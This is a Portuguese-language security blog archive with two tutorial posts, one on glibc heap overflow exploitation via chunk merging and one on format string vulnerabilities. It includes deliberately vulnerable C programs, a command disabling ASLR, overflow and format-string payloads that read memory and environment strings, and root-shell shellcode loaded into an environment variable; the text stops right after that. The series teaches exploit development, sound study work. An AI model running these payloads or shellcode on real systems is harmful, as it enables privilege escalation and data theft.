Archive

Posts Tagged ‘Security’

[VD03.1] Heap Overflow

July 9th, 2009 Marcos Álvares No comments

O foco desse artigo é explicar a essência da técnica de exploração de overflows baseados na heap, para plataformas Intel x86 32 bits usando como sistema operacional o Linux. Esse artigo ficou muito grande para caber em um único post e resolvi dividi-lo em duas partes. A primeira irá descrever a fundamentação teórica necessária para o entendimento do ataque (meio frustrante, mas extremamente necessária) e a segunda irá descrever mecanismos de bypassing necessários para a exploração em ambientes atualizados. Os exemplos serão baseados na implementação de Doug Lea e Wolfram Gloger presente no pacote da glibc 2.9 [1].
A heap nada mais é do que uma região de memória reservada pelo sistema operacional para cada processo armazenar os dados referentes à variáveis alocadas dinamicamente usando as chamadas de sistema mmap(reserva uma nova área) ou brk(libera uma determinada área) através de funções da glibc como malloc(), calloc(), realloc() e free(). Cada processo mapeado em memória possui a sua região de heap privada. A seguir, podemos observar um exemplo de código que faz uso da heap:

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *argv[]) {
        char *buffer;

        /*
            Cria uma porção de 200 bytes na heap e armazena o endereço
            para esta nova porção na variável buffer. Faz uma chamada de
            sistema mmap.Podemos acompanhar esse fluxo de chamadas
            de sistemas através do comando strace.
       */

        buffer = (char *) malloc (200 * sizeof(char));   

        /*
            Avisa ao sistema operacional que a porção armazenada no endereço
            "buffer" não é mais necessária, através da chamada de sistema brk.
        */
        free(buffer);
        return 0;
}

.
Na literatura e em diversos advisories, quando se fala de “heap overflow“, de uma forma geral, a intenção é se referir a buffer overflow em qualquer porção de memória diferente da pilha, que tenha permissão de escrita. Isso é algo a se levar em consideração já que muitas vezes iremos estudar códigos que atacam regiões diferentes da heap e serão classificados como “heap based vulnerabilities“.

Fig 01 - Organização de um processo no Linux

A motivação para explorar essa categoria de vulnerabilidades consiste em dois argumentos:
.
- Linha do tempo: os ataques à heap são mais recentes em relação aos baseados na pilha, com isso, existem menos mecanismos de proteção internos aos sistemas operacionais (falo quantitativamente e não qualitativamente). A heap é usada por programas que necessitam de uso intensivo de memória, portanto projetar um mecanismo de proteção para essa área nos leva ao dilema de segurança versus performance, pois qualquer verificação de segurança adicionada nessa camada será executada inúmeras vezes, introduzindo um overhead em processos que fazem uso intensivo da heap (banco de dados, servidores web, servidores DNS …).

- Complexidade: com uma busca rápida em qualquer sistema de indexação de vulnerabilidades, percebemos que existem bem mais explorações bem sucedidas e publicadas, usando ataques baseados na pilha do que na heap. Isso acontece devido a complexidade envolvida no processo de busca e exploração de falhas no uso da heap. Essa complexidade é um fator decisivo no tempo de vida do 0-day.

Para iniciarmos nosso estudo é necessário uma visão geral do sistema de gerenciamento de memória alocada dinâmicamente projetado por Doug Lea e Wolfram Gloger, usado na maioria das distribuições de Linux. Esse estudo é necessário, pois as técnicas para exploração de problemas na heap se baseiam justamente na forma como as funções da glibc tratam as porções de memória alocadas.

O sistema de alocação de memória usado no Linux, através da glibc, não é o mais otimizado que existe, porém com certeza ele está entre um dos mais flexíveis, portáveis e aceitáveis em termos de conservação de espaço em memória. Balanceando consistentemente esses fatores, temos um bom alocador, em termos gerais, para uso em programas que requerem um uso intensivo do recurso de alocação dinâmica de memória.

As propriedades do algoritmo de alocação variam em quatro modos de acordo com a quantidade de memória solicitada:

- Para requisições menores que 64 bytes é usado um alocador baseado em cache, para ser possível uma rápida limpeza da memória quando essas não forem mais necessárias;
- Para requisições intermediárias entre 64 bytes e 512 bytes o algoritmo se adapta a situação do ambiente para escolha da melhor solução para a situação.
- Para requisições de porções maiores que 512 bytes é usado um algoritmo best-fit allocator [2] puro e tradicional (será explicado mais na frente).
- Para requisições maiores que 128 Kb, malloc delega a requisição para o gerenciador de memória do sistema (se esse suportar, no caso do Linux é suportado).

Para indexar certa quantidade de memória alocada, malloc adiciona um cabeçalho que contém a informação da quantidade de memória reservada para aquele segmento, esse cabeçalho será usado para identificação, localização e liberação dessa porção de memória.

Dependendo do estado da porção (livre ou em uso), o cabeçalho pode assumir dois formatos:
.
1) Cabeçalho para porções em uso:

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if not allocated        | |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                       |M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             User data starts here...                          .
            .                                                               .
            .             (malloc_usable_size() bytes)                      .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk                                     |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

.
2) Cabeçalho para porções livres:

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if not allocated        | |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                       |M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Forward Pointer                                   |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Backward Pointer                                  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            .                                                               .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk                                     |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

.
Em comum, ambas as estruturas possuem o tamanho da porção alocada e a informação do tamanho da porção imediatamente anterior caso essa esteja livre. O cabeçalho de uma porção livre possui mais dois campos que são ponteiros para a porção livre anterior e posterior, formando uma lista duplamente encadeada. Os dois bits menos significativos do segundo byte do cabeçalho corresponde a uma indicação se a porção anterior estar livre (bit “P”) e se a gerencia da porção atual foi delegada ao sistema operacional (bit “M”).

A seguir é apresentada a estrutura de dados usada pela glibc para representar uma porção de memória, nela podemos visualizar os campos usados pelos quatro modos de alocação de memória (nós só iremos trabalhar com porções menores que 512 bytes).
.

struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

.
Lembrando que dentro do campo “size” da estrutura existem os bits de controle da porção. (esses bits são retirados desse campo através de mascaras).

Um ponto chave é a forma como as porções livres são organizadas e re-aproveitadas na heap. Para otimizar a busca por porções livres de memória o sistema organiza essas em forma de lista duplamente encadeada como mostrado na figura 02.

Fig 02 - Visualização da heap

Fig 02 - Visualização da heap

.
A figura 2 mostra cinco porções alocadas na heap. As porções em azul estão em uso e as em cinza são as livres que possuem links em seus cabeçalhos, dando forma a lista encadeada. A porção de endereço 0x80c5090 é o elemento raiz da lista de porções livres, todo o processo ao iniciar a sua região de heap já cria esse elemento.

O processo de alocação é baseado no algoritmo “Best Fit Allocation” [2], através da pesquisa na lista encadeada de qual a menor porção de memória livre que comporta o tamanho solicitado.

O algoritmo de liberação de uma determinada porção de memória é parte fundamental dentro o sistema de gerencia da heap. Esse algoritmo é responsável pela reciclagem da memória de forma eficiente, observando o estado da heap no momento da liberação para realização de otimizações, garantindo um melhor aproveitamento do espaço em memória e preparando o espaço liberado para ser reaproveitado. O processo de liberação de memória é responsável pela execução de “merges“, evitando uma fragmentação desnecessária da heap. Quanto mais fragmentada a heap mais custoso será o processo de alocação de memória (uma lista maior para fazer busca).

Fiz um “artifício técnico” (a.k.a. gambiarra), para melhor visualização da organização da heap usando a própria estrutura da glibc (vou disponibilizar todo o código dos experimentos [aqui]). São basicamente duas funções:

- __pretty_print_chunk(): Recebe por parâmetro a estrutura da porção e imprime na tela o seu cabeçalho.

void __pretty_print_chunk (struct malloc_chunk *p, int chunk_id) {
  printf("::. Manipulando head do chunk_%02d: \n\n", chunk_id);
  printf("\t- Endereço do chunk:                       [%#x]\n", (uint) p);
  printf("\t- Tamanho do elemento anterior (se livre): [%d]\n" , p->prev_size);
  printf("\t- Tamanho do elemento atual:               [%d]\n" , chunksize(p));
  printf("\t- Foward link:                             [%#x]\n", (uint)p->fd);
  printf("\t- Backward link:                           [%#x]\n", (uint)p->bk);
  printf("\n");
}

- __malloc_char_chunk(): Cria uma nova porção na heap.

struct malloc_chunk *__malloc_char_chunk(uint size) {
  char *temp_buffer = (char *)malloc(size * sizeof(char));
  memset(temp_buffer, 'A', size/2);
  return (struct malloc_chunk *)(temp_buffer - 0x8);
}

.
Usando essas funções conseguimos ter uma interface para visualização das porções alocadas na heap. Vamos usar essa interface para criar quatro porções na memória e vamos liberar a primeira e a terceira porção.
.

int main (int argc, char *argv[]) {
  struct malloc_chunk *chunk_01, *chunk_02,*chunk_03,*chunk_04;
  chunk_01 = __malloc_char_chunk(BUFFER_SIZE);
  chunk_02 = __malloc_char_chunk(BUFFER_SIZE);
  chunk_03 = __malloc_char_chunk(BUFFER_SIZE);
  chunk_04 = __malloc_char_chunk(BUFFER_SIZE);
  free((char *)((uint)chunk_01 + 0x8)); // O free() recebe o endereço do inicio
  free((char *)((uint)chunk_03 + 0x8)); // região de dados da porção
  __pretty_print_chunk(chunk_01, 1);
  __pretty_print_chunk(chunk_02, 2);
  __pretty_print_chunk(chunk_03, 3);
  __pretty_print_chunk(chunk_04, 4);
}

.

::. Manipulando head do chunk_01:

        - Endereço do chunk:                       [0x8cd1680]
        - Tamanho do elemento anterior (se livre): [0]
        - Tamanho do elemento atual:               [208]
        - Foward link:                             [0x80c5090]
        - Backward link:                           [0x8cd1820]

::. Manipulando head do chunk_02:

        - Endereço do chunk:                       [0x8cd1750]
        - Tamanho do elemento anterior (se livre): [208]
        - Tamanho do elemento atual:               [208]
        - Foward link:                             [0x41414141]
        - Backward link:                           [0x41414141]

::. Manipulando head do chunk_03:

        - Endereço do chunk:                       [0x8cd1820]
        - Tamanho do elemento anterior (se livre): [0]
        - Tamanho do elemento atual:               [208]
        - Foward link:                             [0x8cd1680]
        - Backward link:                           [0x80c5090]

::. Manipulando head do chunk_04:

        - Endereço do chunk:                       [0x8cd18f0]
        - Tamanho do elemento anterior (se livre): [208]
        - Tamanho do elemento atual:               [208]
        - Foward link:                             [0x41414141]
        - Backward link:                           [0x41414141]

.
Observe a lista duplamente encadeada de porções livres na heap.
.

Fig 03 - Lista encadeada de porções livres

Fig 03 - Lista encadeada de porções livres


O que acontece se nós liberarmos a segunda porção de memória?
.
O algoritmo do free() irá detectar que as porções três e um também estão livre e criará uma única porção que corresponde a soma das três regiões (um, dois e três).

::. Manipulando head do chunk_01:

        - Endereço do chunk:                       [0x8cfe680]
        - Tamanho do elemento anterior (se livre): [0]
        - Tamanho do elemento atual:               [624]
        - Foward link:                             [0x80c5090]
        - Backward link:                           [0x80c5090]

::. Manipulando head do chunk_02:

        - Endereço do chunk:                       [0x8cfe750]
        - Tamanho do elemento anterior (se livre): [208]
        - Tamanho do elemento atual:               [208]
        - Foward link:                             [0x41414141]
        - Backward link:                           [0x41414141]

::. Manipulando head do chunk_03:

        - Endereço do chunk:                       [0x8cfe820]
        - Tamanho do elemento anterior (se livre): [416]
        - Tamanho do elemento atual:               [208]
        - Foward link:                             [0x41414141]
        - Backward link:                           [0x41414141]

::. Manipulando head do chunk_04:

        - Endereço do chunk:                       [0x8cfe8f0]
        - Tamanho do elemento anterior (se livre): [624]
        - Tamanho do elemento atual:               [208]
        - Foward link:                             [0x41414141]
        - Backward link:                           [0x41414141]

Reparem que na porção quatro diz que existe uma porção livre com 624 bytes (3 * 208) na porção imediatamente anterior. Se obsevarmos o cabeçalho dessa porção vamos verificar que o merge das porções foi realizado com sucesso.

Fig 04 - Região de Merge na heap

Fig 04 - Região de Merge na heap


.
Na Figura 04 mostramos a região em que será realizado o merge. Após a liberação da porção 2 será criada uma nova porção contendo a soma das porções 1, 2 e 3, como mostrado na figura abaixo.
.
Fig 05 - Lista de porções livres após o Merge

Fig 05 - Lista de porções livres após o Merge

.
Nesse tipo de merge, o algoritimo fez alterações na porção livre que estava imediatamente abaixo da porção três para apontar para a nova porção e fez alteração na nova porção para apontar para a porção que era apontada pela porção três.
.

(porção 3)->bd + 8    < -  (porção 3)->fd
(porçao 3)->fd + 12   < -  (porção 3)->bd

.
É justamente explorando essas heurísticas de merge, que conseguimos tirar proveito de falhas no uso da heap. E é ai que a brincadeira começa …

Imagine se pudéssemos manipular o cabeçalho da porção imediatamente após da que nós iríamos liberar (a porção 3 do exemplo anterior)… Isso significa que nós poderíamos manipular os valores dos links usados para ligar a lista de porções livres apos a operação de merge.

Quando é possível preencher uma porção na heap com mais dados do que essa foi inicialmente planejada para comportar, conseguimos sobrescrever regiões da porção de memória conseguinte, colocando um cabeçalho falso nessa seção e criando porções adjacentes falsas, de forma que quando a função free() for chamada recebendo como parâmetro o endereço para essa porção de memória, ela irá buscar informações no header falso e tentar realizar a operação de merge, com isso conseguimos realizar o ataque sobrescrevendo uma posição qualquer na memória que tenha permissão de escrita com um conteúdo especificado (Já que a “porção 3″ será injetada na “porção 2″ através da “porção 1″ que está vulnerável \O/).

É … não é simples de entender mesmo não … leia e releia o parágrafo acima. Desenhe no papel que talvez fique mais fácil. Tudo gira em torno do funcionamento do merge. Eu também pensei a mesma coisa: “O cara que fez isso pela primeira vez devia ter muitas drogas em mente.

Agora, que já temos idéia na prática como o algoritmo de merge funciona, vamos montar um ambiente com dois buffers alocados na heap em que o primeiro está vulnerável e recebe dados direto da linha de comando sem nenhuma espécie de verificação.

Antes de tudo vamos desabilitar algumas proteções existentes no nosso Linux, fazer o bypass desses mecanismos de segurança não faz parte do escopo dessa primeira parte do artigo. Em breve irei escrever um artigo mostrando como funcionam esses mecanismos de proteção e se possível como fazer um bypass de forma eficiente e confiável (não tem quem goste dessas técnicas probabilísticas). Esse artigo sobre as técnicas usadas para proteção da memória, será útil para todos os posts de vulndev publicados aqui no blog.
.
Primeiro vamos desabilitar ASLR (Adress Space Layout Randomization):

root@envy:/# /bin/echo 0 > /proc/sys/kernel/randomize_va_space

.
Habilitar o modo de depuração do mecanismo de proteção em tempo de execução interno a glibc:

export MALLOC_CHECK_=1

.
O código usado como exemplo para todo o resto do artigo será o seguinte:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFFER_SIZE 200

int main (int argc, char *argv[]) {
  char *buffer_01, *buffer_02;

  buffer_01 = (char *) malloc(BUFFER_SIZE*sizeof(char));
  buffer_02 = (char *) malloc(BUFFER_SIZE*sizeof(char));

  strcpy(buffer_01, argv[1]);

  free(buffer_02);

  return 1;
}

Podemos sobrescrever o “buffer_02” através da vulnerabilidade no “buffer_01“, com isso nós iremos criar duas porções de memória falsas ao redor de “buffer_02“, de forma que quando dermos um free() nessa porção possamos induzir o merge dessas três áreas (fake_01, buffer_02 e fake_02) e com isso explorarmos a falha. O layout do nosso exploit irá ficar como na figura a seguir.

Fig 06 - Layout da heap após a execução do exploit

Fig 06 - Layout da heap após a execução do exploit

Não se esquecer que devemos sobrescrever o cabeçalho da porção dois para sinalizarmos que essa possui uma porção anterior livre, através da flag “P” e ajustarmos o campo de tamanho para a porção terminar no inicio da segunda porção falsa (a que irá conter os endereços). Sem isso, o processo de merge não será iniciado.

Com uma pequena ajuda do interpretador Python podemos construir o nosso exploit.
.

./heap `python -c 'print "A"*184    +    "\xff"*8+"A"*8    +
  "\xf8\xff\xff\xff"+"\xf0\xff\xff\xff"    +    "\xff"*8 + "AAAA" + "BBBB"'`

.
Com o código acima nós conseguiríamos sobrescrever porções específicas do nosso interesse na memória (return pointer, locks, global offset table … ): *(AAAA + 12) = BBBB
.
Quando executamos ele temos:

mabj@envy:~/Documents/project/heap_based_overflow$ ./heap `python -c 'print "A"*188+"\xff"*4+"A"*8+"\xf8\xff\xff\xff"+"\xf0\xff\xff\xff"+"\xff"*8 + "AAAA" + "BBBB"'`
malloc: using debugging hooks
buffer_01 (0x80c8690) - size: [0x15] previous [0xffffffd1]
buffer_02 (0x80c8760)- size: [0xfffffff8] previous [0xfffffff0]

*** glibc detected *** ./heap: free(): invalid pointer: 0x080c8760 ***


.
Essa mensagem ocorre devido a seguinte verificação de segurança interna a glibc:
.

  /* Little security check which won't hurt performance: the
     allocator never wrapps around at the end of the address space.
     Therefore we can exclude some size values which might appear
     here by accident or by "design" from some intruder.  */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
    || __builtin_expect (misaligned_chunk (p), 0))
  {
    errstr = "free(): invalid pointer";
  errout:
    malloc_printerr (check_action, errstr, mem);
    return;
  }

.
Pronto. É aqui que chegamos ao fim da primeira etapa no nosso estudo a respeito de vulnerabilidades baseadas na heap. Já sabemos o que é a heap, como funciona os mecanismos de gerencia da heap e onde estão os pontos de exploração. No próximo passo, vamos focar no estudo dos mecanismos de proteção e na exploração.

<frustation mode=”on”>
Tudo que foi mostrado até agora foram os fundamento para exploração de vulnerabilidades baseadas na heap. Todos os exploit writers e heap lovers já passaram por tudo o que foi descrito acima até chegar no estado que vamos mostrar no segundo tempo do jogo (VD03.2). A quatro anos atrás o conhecimento acumulado até agora seria o suficiente para a nossa exploração. Hoje em dia, a glibc mais recente possui mecanismos de proteção, como o mostrado acima, que impede nosso ataque. Mas não desanimem! O ‘#’ já está mais perto do que vocês imaginam.
</frustation>
.
Em balanço está a Força. A Escuridão e a Luz. Sem um, não há o outro. O Lado Negro tentador é. Rápido, fácil no início, mas uma armadilha é o Lado Negro. Mau, corrupto. Uma vez que se começa no Lado Negro, para sempre dominará seu destino. Para o caminho da Luz, paciência você precisa. Controle. Paz e harmonia ele é.”

yoda
.

TO BE CONTINUED …

Referências:

[1] http://www.gnu.org/software/libc/
[2] http://g.oswego.edu/dl/html/malloc.html
[3] The Shellcoder’s handbook, segunda edição, capitulo 5 (Gera, FX e Chris Anley)
[4] http://www.w00w00.org/files/articles/heaptut.txt
[5] http://www.phrack.org/issues.html?issue=61&id=6&mode=txt
[6] http://www.phrack.org/issues.html?issue=57&id=8&mode=txt
[7] http://www.phrack.org/issues.html?issue=57&id=9&mode=txt
[8] http://sourceware.org/glibc/

[VD02] – Format String

March 28th, 2009 Marcos Álvares 1 comment

Neste post irei tentar explicar em detalhes os fundamentos da categoria de vulnerabilidades denominada de “Format String“. Explicarei o que são vulnerabilidades de Format String, o porquê que essas vulnerabilidades ocorrem e como explorar tais falhas. Irei usar o Sistema operacional Linux com o  GNU Debugger (GDB) e o GNU Compiler Collection (GCC). Apesar do uso de um sistema operacional específico, essa categoria de vulnerabilidade ocorre e é explorável em muitos outros sistemas. O objetivo desse artigo é mostrar para o leitor a essência da técnica, de modo que após a compreensão dos fundamentos, o próprio possa pesquisar as variações do ataque.

Todos que já programaram na linguagem C já usaram a famosa função printf que é padrão da biblioteca stdio da libc [1]. Pois bem, vamos analisar o formato da função printf retirada da glibc 2.9:

int __printf (const char *format, ...) {
  va_list arg;
  int done;

  va_start (arg, format);
  done = vfprintf (stdout, format, arg);
  va_end (arg);

  return done;
}

int vfprintf (FILE *s, const CHAR_T *format, va_list ap) {
...
}

Uma característica a se notar no código acima é que o parâmetro “format” passado para a função printf não recebe nenhum tratamento ou nenhuma checagem de tamanho e formato, é ele que vai especificar para a função qual o formato da string a ser impressa no file handler especificado por File *s que no caso de printf é a saida padrão (STDOUT) e a quantidade de parâmetros a mais que a função deve receber para poder substituir os caracteres coringas iniciados com “%” no parâmetro de formatação. Esse é um dos dois fatores que tornam o ataque estudado possível. O segundo fator a forma como as funções funcionam em código de máquina. Vamos mostrar isso passo a passo:

#include <stdio.h>
#include <stdlib.h>

void sum (int a, int b, int c) {
        printf("\n%d + %d + %d = %d\n\n", a, b, c, (a+b+c));
}

int main (int argc, char *argv[]) {
        sum(1, 2, 3);
}

O código em C de uma função que recebe três números inteiros como parâmetro e retorna a o resultado da soma dos três.

(gdb) disas main
Dump of assembler code for function main:
0x080483fc :  lea    0x4(%esp),%ecx
0x08048400 :  and    $0xfffffff0,%esp
0x08048403 :  pushl  -0x4(%ecx)
0x08048406 :  push   %ebp
0x08048407 :  mov    %esp,%ebp
0x08048409 :  push   %ecx
0x0804840a :  sub    $0x14,%esp <--- Aloca espaço na pilha para os parâmetros
0x0804840d :  movl   $0x3,0x8(%esp) <--- Coloca 3 na pilha
0x08048415 :  movl   $0x2,0x4(%esp) <--- Coloca 2 na pilha
0x0804841d :  movl   $0x1,(%esp) <--- Coloca 1 na pilha
0x08048424 :  call   0x80483c4 <--- Chama a função "sum"
0x08048429 :  add    $0x14,%esp <--- Limpa o espaço reservado
0x0804842c :  pop    %ecx
0x0804842d :  pop    %ebp
0x0804842e :  lea    -0x4(%ecx),%esp
0x08048431 :  ret
End of assembler dump.
(gdb) disas sum
Dump of assembler code for function sum:
0x080483c4 :  push   %ebp
0x080483c5 :  mov    %esp,%ebp
0x080483c7 :  sub    $0x18,%esp
0x080483ca :  mov    0xc(%ebp),%edx <--- Retira primeiro parâmetro da pilha
0x080483cd :  mov    0x8(%ebp),%eax <--- Retira segundo parâmetro da pilha
0x080483d0 :  add    %edx,%eax <--- Executa soma
0x080483d2 :  add    0x10(%ebp),%eax <--- Soma resultado com terceiro parâmetro
0x080483d5 :  mov    %eax,0x10(%esp)
0x080483d9 :  mov    0x10(%ebp),%eax
0x080483dc :  mov    %eax,0xc(%esp)
0x080483e0 :  mov    0xc(%ebp),%eax
0x080483e3 :  mov    %eax,0x8(%esp)
0x080483e7 :  mov    0x8(%ebp),%eax
0x080483ea :  mov    %eax,0x4(%esp)
0x080483ee :  movl   $0x8048500,(%esp)
0x080483f5 :  call   0x80482f8
0x080483fa :  leave
0x080483fb :  ret
End of assembler dump.

Note que é feito o uso da pilha para a operação de passagem de parâmetros para uma determinada função. Quando uma função é projetada, o seu código já leva em consideração que irá encontrar os parâmetros dentro da pilha, acessando esses logo no início da chamada a função usando o endereço da base da pilha, armazenado em %ebp, para fazer uma referência relativa.

Juntando essas duas características chegamos a causa da vulnerabilidade estudada. O primeiro parâmetro de printf (o “format“) especifica a quantidade de parâmetros que a função deve receber de acordo com a quantidade de “%”s. O que acontece se nós colocarmos um “%” e nos “esquecemos” de passar o parâmetro com o valor para ser exibido nessa posição?
Ex:

printf("\n\t[%x] [%x] [%x] [%x]\n");
--------
$ ./bug
        [0x8049ff4] [0xbffce578] [0x8048419] [0xb7fc1f50]

A função printf pegará valores na pilha que não estava no plano do programador de serem exibidos. No exemplo acima, mostramos que o resultado do printf foi a impressão de 16 bytes que estavam na pilha. Isso ocorre não só para printf, mas para qualquer funcão dessa família:

envy:~/tmp/glibc-2.9/stdio-common$ ls -la *printf* | grep -v tst | grep -v test
-rw-r--r-- 1 mabj mabj  1465 2006-01-14 09:09 asprintf.c
-rw-r--r-- 1 mabj mabj  1324 2006-01-14 09:09 dprintf.c
-rw-r--r-- 1 mabj mabj  1479 2006-01-14 09:09 fprintf.c
-rw-r--r-- 1 mabj mabj  1501 2005-08-08 17:05 fxprintf.c
-rw-r--r-- 1 mabj mabj  1347 2006-01-14 09:09 printf.c
-rw-r--r-- 1 mabj mabj  1379 2006-01-14 09:09 snprintf.c
-rw-r--r-- 1 mabj mabj  1393 2006-01-14 09:09 sprintf.c
-rw-r--r-- 1 mabj mabj 74108 2008-07-25 20:38 vfprintf.c
-rw-r--r-- 1 mabj mabj    68 1999-06-16 19:41 vfwprintf.c
-rw-r--r-- 1 mabj mabj  1265 2006-01-14 09:09 vprintf.c

Agora vem o “pulo do gato”… imagine só se um programador descuidado usa o input do usuário como entrada para o parâmetro de formato de uma determinada função da família printf. Em uma primeira observação nós poderíamos imprimir todo o conteúdo da pilha do processo alvo através da inserção de muitos “%”s na string de formato. Ex:

#include
#include 

void print_str(char *param) {
    printf(param); < --| Usado como parâmetro de formatação
}

int main (int argc, char *argv[]) {
    print_str(argv[1]); < --| Passado direto para a função
}
envy:~format_string$ ./vuln_03 '[%#x] [%#x] [%#x] [%#x] [%#x]'
[0x8049ff4] [0xbfdf0378] [0x80483f8] [0xbfdf176a] [0x8049ff4]

Como nós já sabemos que o parâmetro passado para a função “print_str” é jogado na pilha para que possa ser executado junto com printf e que podemos imprimir os valores de pilha através da manipulação do parâmetro de formatação passado, isso significa que podemos imprimir na tela o próprio parâmetro de printf que está na pilha.

./vuln_03 'AAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x'

AAAAAAAAAAAAAAAAAAAA8049ff4bffff47880483f8bffff65d8049ff4bffff48880484
39b7ff0f50bffff490bffff4e8b7e8968580484208048310bffff4e8b7e896852bffff514b
ffff520b7fe2b381108048230b7fccff480484208048310bffff4e8df892179f14c95690
00b7ff6090b7e895adb7ffeff4280483100804833180483d72bffff5148048
4208048410b7ff0f50bffff50cb7ffbaaa2bffff653bffff65d0bffff788bffff79cbf
fff7afbffff7cabffff7d5bffff7e5bffff836bffff882bffff8d1bffff922bffff93bbffff94
dbffff963bffff96dbffffd96bffffdc3bffffdf2bffffe1dbffffe6abffffe82bffffeb7bfff
feedbffffefebfffff0fbfffff26bfffff36bfffff3ebfffff56bfffff63bfffff83
bfffff8ebfffffb0bfffffbbbfffffc7020b7ffd42021b7ffd00010bfe9fbff61000116438
048034420587b7fe30008098048310b3e8c3e8d3e8e3e81701fbffffff2fbffff64b00
0690000003638362e0000006c75762f33305f6e41414100414141414141
4141414141414141414125782541257825782578257825782578

Olhando rapidamente a manpage da função printf podemos ver que é possível simplificar nosso format string para algo mais prático usando o que é chamado de Direct Parameter Access “%n\$x”, onde “n” é o número do %x que será mostrado na tela. Para descobrir qual o n que representa a posição do nosso parâmetro podemos fazer um shellscript simples.

$   for i in `seq 1 200`; do ./vuln_03 "BAAAA[0x%$i\$x]" ;echo "            $i"; done | grep 4141
BAAAA[0x41414142]            134

$ ./vuln_03 "BAAAA[0x%134\$x]"
BAAAA[0x41414142] < --- AAAB

Agora sabemos que esse código irá exibir qualquer valor que colocarmos no inicio da nossa formated string no lugar de “BAAA” do inicio como:

$ ./vuln_03 "CCCCA[0x%134\$x]"
CCCCA[0x43434343] < ---  CCCC

Com isso nós podemos visualizar um valor posicionado em qualquer endereço de memória acessivel pelo processo atacado; simplesmente substituindo o inicio do format string por um endereço válido como:

$ ./vuln_03 "CCCCA[0x%134\$x]"
CCCCA[0x43434343] < ---  CCCC

Vamos procurar o endereço da variável de ambiente que guarda a string com o home do meu usuário.

$ for i in `seq 1 200`;
    do ./vuln_03 "BAAAA[%$i\$s]" ;
    echo "  $i";
done |  grep "HOME"

BAAAA[HOME=/home/mabj]            76

$ ./vuln_03 "CCCCA[0x%76\$x]"
CCCCA[0xbfffff26] < -- Achamos o endereço da variável de ambiente ! : ]

Agora é só substituir o inicio do parâmetro de formatação passado para printf pelo endereço da variável de ambiente e com isso obtemos a o nosso home.

./vuln_03 $'\x26\xff\xff\xbfA[%76$s]'
&���A[HOME=/home/mabj]

Usando esse mesmo artifício podemos imprimir todas as strings visíveis ao processo. Podemos procurar por informações mais interessantes do que variáveis de ambiente, como senhas e chaves criptográficas. Isso pode ser muito útil quando o programa vulnerável é usado por muitos usuários como um servidor SSH ou um FTP.

Vamos passar para o segundo tempo do jogo. Se lermos o manual da função printf perceberemos que ela possui um caractere coringa passado via parâmetro de formatação que é o “%n”. Essa entrada especifica que o printf deverá armazenar a quantidade de caracteres impressos na tela em uma variável mapeada no endereço passado como parâmetro (no caso da nossa arquitetura 4 bytes).

n	Nothing printed. The argument must be a pointer to a signed int, where the number of
        characters written so far is stored.

Quando aprendi isso pela primeira vez pensei comigo mesmo: “Para diabos que será que inventaram isso se não para malvadeza ?”. E a pergunta permanece. Nunca vi um uso legítimo disso. : ]

Já que o “%n” ainda está na libc … vamos mostrar como podemos fazer uso do mesmo para sobrescrever o ponto de retorno da função vulnerável executando algum shellcode [2] armazenado numa variável de ambiente.

Primeiro, vamos no millworm [3] pegar um shellcode qualquer para executarmos (escolha a gosto). Eu escolhi um setuid(0) + execve (/bin/sh) mostrado no seguinte [link].

Vamos carregar o nosso shellcode em uma variável de ambiente qualquer.

$ export SHELLCODE=$'\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73
                     \x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'

$ env | grep SHELLCODE
SHELLCODE=�1��
              �Rh//shh/bin��RS��

